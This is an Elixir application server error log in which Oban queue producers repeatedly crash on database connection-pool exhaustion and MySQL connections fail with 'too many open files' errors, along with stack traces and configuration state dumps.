    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:28:22.239542Z], limit: 50, uuid: "5c0473fa-1f7e-40d8-8c8f-c318cf4ddd89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.239548Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62292>, refresh_timer: #Reference<0.2525715032.1068498948.62275>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:34.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:28:22.240448Z], limit: 10, uuid: "a2c4a182-4d52-4e24-8a77-79563e0aa8e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.240454Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.191823>, refresh_timer: #Reference<0.2525715032.1121189889.191808>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:34.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:28:22.241562Z], limit: 5, uuid: "ac32583d-4bd3-46e5-8421-216bf693712b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.241567Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62291>, refresh_timer: #Reference<0.2525715032.1068498948.62290>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:35.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:38.112000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:40.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:41.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:44.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:45.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:28:34.240344Z], limit: 20, uuid: "556cde95-ad90-485b-8f5f-4bff35a2d395", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.240351Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192086>, refresh_timer: #Reference<0.2525715032.1077673987.39811>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:28:34.246902Z], limit: 5, uuid: "8924b442-c7ed-4aff-99d2-71569a3ea1da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.246907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192127>, refresh_timer: #Reference<0.2525715032.1099431938.59814>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:28:34.240570Z], limit: 3, uuid: "391a30c6-8f8f-4539-a6b0-e9ab186d4455", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.240575Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192087>, refresh_timer: #Reference<0.2525715032.1077673987.39819>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:28:34.242918Z], limit: 50, uuid: "f5871e3e-1f01-47c3-a831-157a87a68ac7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.242923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192097>, refresh_timer: #Reference<0.2525715032.1068498948.62352>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:28:34.240371Z], limit: 5, uuid: "b08c8368-4208-481c-bd44-2721ba9153a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.240381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59808>, refresh_timer: #Reference<0.2525715032.1099431938.59777>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:28:34.243932Z], limit: 10, uuid: "425bef51-9477-471c-8acb-268bedb7480f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:34.243938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.192126>, refresh_timer: #Reference<0.2525715032.1121189889.192096>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:49.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:53.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:56.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:58.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
